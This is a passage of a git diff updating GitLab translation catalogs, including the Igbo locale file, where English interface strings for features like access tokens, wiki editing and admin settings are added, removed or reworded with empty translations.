msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,10 +32372,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32606,9 +32399,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32627,9 +32417,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -32969,6 +32756,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33002,7 +32792,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33098,6 +32888,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33224,7 +33014,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34150,9 +33943,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34165,6 +33967,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34213,6 +34018,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34691,12 +34505,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34937,9 +34730,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35717,9 +35513,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -35887,6 +35686,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -35905,9 +35707,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36010,7 +35812,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37715,12 +37520,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37814,6 +37628,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38010,9 +37842,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38858,6 +38690,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38894,9 +38729,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -38957,7 +38789,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39481,6 +39322,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ig_NG/gitlab.po b/locale/ig_NG/gitlab.po
index f734f64ca37..f8ca4a68ba7 100644
--- a/locale/ig_NG/gitlab.po
+++ b/locale/ig_NG/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ig\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:33\n"
+"PO-Revision-Date: 2021-07-01 21:16\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -358,6 +354,21 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,10 +602,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -783,9 +801,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,13 +1654,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1678,16 +1678,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1807,6 +1807,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1816,6 +1819,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1879,6 +1885,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,19 +2263,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2278,7 +2290,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2287,10 +2299,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2701,9 +2710,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
